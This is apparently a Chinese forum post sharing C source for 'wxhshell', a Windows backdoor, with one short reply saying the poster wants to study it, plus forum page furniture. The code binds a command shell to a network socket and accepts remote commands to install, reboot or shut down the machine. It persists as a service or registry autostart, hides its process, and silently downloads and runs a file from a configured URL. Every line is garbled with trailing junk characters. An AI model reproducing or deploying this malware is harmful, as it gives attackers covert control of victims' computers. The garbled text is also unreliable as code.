  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B/b S:  
  else G$CI~0Se:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C%;J9(r  
  } *!L it:H  
  else {  ui1h M  
R% )7z)~  
    switch(cmd[0]) { R2dCp|6A  
  -+&sPrQ  
  // 帮助 Xv?'*2J  
  case '?': { YE1X*'4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [+>cW0a  
    break; uOQl;}Lk5  
  } A9ru]|?  
  // 安装 Ui05o7xg~p  
  case 'i': { QxeK-x^  
    if(Install()) }yMA s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n]snD1?KX  
    else ZR@PqS+O/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N.|uPq$R  
    break; ZqJyuTPv  
    } hV[=  
  // 卸载 _sC kBDl-  
  case 'r': { "oo j;  
    if(Uninstall()) 5)<}a&;{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V.~C.x  
    else j$}W%ibj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dnstm@0k  
    break; HbQ+:B]  
    } #~:@H&f790  
  // 显示 wxhshell 所在路径 o :_'R5  
  case 'p': { d/&~IR  
    char svExeFile[MAX_PATH]; ~"i4"Op&  
    strcpy(svExeFile,"\n\r"); cA25FD  
      strcat(svExeFile,ExeFile); LV$`bZ  
        send(wsh,svExeFile,strlen(svExeFile),0); 4%,E;fB?=  
    break; ~+bSD<!b  
    } FdM xw*}  
  // 重启 )L%[(iI,x  
  case 'b': { 1bpjj'2%x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wsyAq'%L  
    if(Boot(REBOOT)) b%D}mxbS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ky |Py  
    else { l]KxUkA+  
    closesocket(wsh); -`} d@x  
    ExitThread(0); Kf'oXCs  
    } [Z{0|NR  
    break; qo5WZ be  
    } J G3#(DVc;  
  // 关机 \EOPlyf8x  
  case 'd': { U+'h~P'4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e$=0.GWT  
    if(Boot(SHUTDOWN)) sboX<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %TA@-tK=  
    else { @/0-`Y@?  
    closesocket(wsh); 5_= HtM[v]  
    ExitThread(0); 6 xAR:  
    } "`aLSw75x  
    break; R[{s\  
    } PxiJ R[a  
  // 获取shell <t)D`nY\  
  case 's': { Fun+L@:;  
    CmdShell(wsh); kSH|+K\M4  
    closesocket(wsh); !(-S?*64l  
    ExitThread(0); :igURr  
    break; V j"B/@  
  } j SXVLyz  
  // 退出 y%=t((.Z  
  case 'x': { n0< I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K!BS?n;  
    CloseIt(wsh); >r~!'Pd!  
    break; Gs)2HR@>  
    } `]3A#y)v  
  // 离开 mQy!*0y  
  case 'q': { Y> f 6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ={gfx;  
    closesocket(wsh); L>1i~c&V  
    WSACleanup(); B|(M xR6m  
    exit(1); |*-&x:p7O  
    break; Kitx%P`i  
        } (_$'e%G0  
  }  2/v9  
  } 1.y|bB+kB  
+ 4*jO5EZ  
  // 提示信息 :{ Q[kYj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ";$rcg"%X  
} qZ|>{^a*  
  } @ob4y  
 (zL(  
  return; }[m,HA<j  
} K84Ve Ae  
f hS4Gb_  
// shell模块句柄 O0Sk?uJ <  
int CmdShell(SOCKET sock) ^P !} "  
{ K|g+W t^tQ  
STARTUPINFO si; u?+i5=N9{  
ZeroMemory(&si,sizeof(si)); 5$.e5y<&(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i $:QOMA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M h5>@-fEE  
PROCESS_INFORMATION ProcessInfo; "de3S bj@?  
char cmdline[]="cmd"; ofIw7D*h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RNB ha&  
  return 0; jizp\%W+  
} B+8B<xZ  
eod-N}o  
// 自身启动模式 % A8dO+W  
int StartFromService(void) /3ty*LQT  
{ B6gn(w3  
typedef struct !w }cKm  
{ l'0fRQc  
  DWORD ExitStatus;  YD|;xuh  
  DWORD PebBaseAddress; Nn]|#lLP  
  DWORD AffinityMask; <W<>=vDzyE  
  DWORD BasePriority; N);2 2-  
  ULONG UniqueProcessId; {,`)  
  ULONG InheritedFromUniqueProcessId; [c_o.`S_\  
}   PROCESS_BASIC_INFORMATION; d"Aer  
@+P7BE}  
PROCNTQSIP NtQueryInformationProcess; "Gh5 ^$w?j  
aS,M=uqqK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >GV = %  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yE4X6  
krI@N}OU  
  HANDLE             hProcess; o@!Uds0  
  PROCESS_BASIC_INFORMATION pbi; EmO{lCENk  
Y3RaR 9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W+&<C#1|]  
  if(NULL == hInst ) return 0; FT/STI  
6)_svtg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PH]/*LEj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0M_~@E*&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3!:?OUhx  
7g&"clRGO  
  if (!NtQueryInformationProcess) return 0; oPCtLz}z  
x'IYWo ]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (_aM26s  
  if(!hProcess) return 0; gJUawK  
*t3uj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &W@#p G  
WMw^zq?hd@  
  CloseHandle(hProcess); Nxd<#p  
#'&&&_Hu3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ns}BE H  
if(hProcess==NULL) return 0; U.,_zEbx,  
6< T@\E  
HMODULE hMod; y/(60H,{{  
char procName[255]; }> pNf  
unsigned long cbNeeded; luj UEHzp  
7j22KQ|EX^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |k ]{WCD]  
gfY1:0  
  CloseHandle(hProcess); BhcTPQsW  
MJDW-KL-  
if(strstr(procName,"services")) return 1; // 以服务启动 `1fNB1c  
ZS\~GQbG  
  return 0; // 注册表启动 V^[B=|56  
} EO: VH  
8,DY0PGP  
// 主模块 e [ 9  
int StartWxhshell(LPSTR lpCmdLine) 2YV*U_\L  
{ oM~;du  
  SOCKET wsl; 9yrSCDu00  
BOOL val=TRUE; oZCjci-  
  int port=0; xP61^*-2  
  struct sockaddr_in door; lc qpwSk  
_q7mYc  
  if(wscfg.ws_autoins) Install(); dbG5Cf#K\  
zD z"Dn9  
port=atoi(lpCmdLine); ;?K>dWf3f  
%Xfy.v  
if(port<=0) port=wscfg.ws_port; {I:nza  
zlhHSyK  
  WSADATA data; Q`{2 yU:r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c ?(X(FQ  
2iV/?.<Z&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b\9MM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XJI ff$K  
  door.sin_family = AF_INET; h:3^FV&#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :)eU)r"s4  
  door.sin_port = htons(port); ]aN]Ha  
~( ~ y=M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WPpS?  
closesocket(wsl); _ \LP P_  
return 1; cq#=Vb  
} &]_2tN=S$  
lv=rL  
  if(listen(wsl,2) == INVALID_SOCKET) { I #8TY/XP  
closesocket(wsl); ?[z@R4at  
return 1; %m5&Y01  
} #x|IEjoa  
  Wxhshell(wsl); 7~2c"WE  
  WSACleanup(); E-?@9!2 &  
5%K(tRc|  
return 0; ucwUeRw,  
kx.8VUoM V  
} ]qPrXuS/  
J7Y lmi  
// 以NT服务方式启动  Bl1^\[#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4u}jkd$]*  
{ W0qn$H  
DWORD   status = 0; >5c38D7k)  
  DWORD   specificError = 0xfffffff; ?Zv>4+Y'  
["7]EW\!:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >)6d~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lV ra&5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p/WE[8U  
  serviceStatus.dwWin32ExitCode     = 0; N*NGC!p`N  
  serviceStatus.dwServiceSpecificExitCode = 0; yZyB.wT  
  serviceStatus.dwCheckPoint       = 0; kX8Ey  
  serviceStatus.dwWaitHint       = 0; L+N;mI8  
5`QN<4?%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dc=~EG-_rM  
  if (hServiceStatusHandle==0) return; 4ynGXJmMlR  
U6K!FOND  
status = GetLastError(); h( MNH6 B1  
  if (status!=NO_ERROR) `\Ye:$q  
{ <Dq7^,}#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {wwkbc*  
    serviceStatus.dwCheckPoint       = 0; e.l3xwt>$  
    serviceStatus.dwWaitHint       = 0; [MI?  
    serviceStatus.dwWin32ExitCode     = status; mVVL[z2+  
    serviceStatus.dwServiceSpecificExitCode = specificError; sOb=+u$$9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m(rd\3d  
    return; &++tp5  
  } FL?Ndy"I  
h4geoC_W2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G+V?c1Me  
  serviceStatus.dwCheckPoint       = 0; \yKYBfp-p  
  serviceStatus.dwWaitHint       = 0; ?j|i|WUD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); + )lkHv$R  
} jx[g;7~X  
{O"N2W  
// 处理NT服务事件,比如:启动、停止 /Ps5Og  
VOID WINAPI NTServiceHandler(DWORD fdwControl) kB3@;z:  
{ ,WgEl4  
switch(fdwControl) M'>8P6O  
{ 7rSads  
case SERVICE_CONTROL_STOP: 6 ~.{~+Bd  
  serviceStatus.dwWin32ExitCode = 0; B82SAV/O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j~C-T%kYa  
  serviceStatus.dwCheckPoint   = 0; 9~ r YLR(v  
  serviceStatus.dwWaitHint     = 0; 8L _]_  
  { M%"{OHj!o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^\3r}kJ0Lp  
  } K!jMW  
  return; )7;E,m<:tO  
case SERVICE_CONTROL_PAUSE: gq~6 jf>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i/{`rv*K[  
  break; w6<zPrA  
case SERVICE_CONTROL_CONTINUE: F$nc9x[S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @0&KM|+  
  break; Ro :)N:C  
case SERVICE_CONTROL_INTERROGATE: "Kc1@EX=  
  break; RElIWqgY  
}; ujan2'YT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =QJI_veUG`  
} /?_5!3KJ  
>NMq^J'/  
// 标准应用程序主函数 Gm.2!F=R4A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }y&tF'qG  
{ 4B$|UG  
D5$| vv1  
// 获取操作系统版本 &E0L 2gbI  
OsIsNt=GetOsVer(); ;q&2$Mb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kH">(f  
-&QTy  
  // 从命令行安装 pWOK~=t  
  if(strpbrk(lpCmdLine,"iI")) Install(); t~kh?u].j  
'H8;(Rw  
  // 下载执行文件 u)9YRMl  
if(wscfg.ws_downexe) { 716r/@y$6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /M5R<rl  
  WinExec(wscfg.ws_filenam,SW_HIDE); C|-QU  
} ^j *H  
wS @-EcCB  
if(!OsIsNt) { Cu`ty] -'  
// 如果时win9x,隐藏进程并且设置为注册表启动 GB8>R  
HideProc(); Y@2v/O,\  
StartWxhshell(lpCmdLine); ;Yu|LaI\<m  
} ,ocAB;K  
else "fOxS\er  
  if(StartFromService()) 1^AG/w  
  // 以服务方式启动 DM=`hyf(v  
  StartServiceCtrlDispatcher(DispatchTable); (Q[(]dfc  
else A?4s+A@Eg  
  // 普通方式启动 1;"DIsz@d  
  StartWxhshell(lpCmdLine); zY2o;-d|4  
cg).b?g  
return 0; &at>sQ'  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八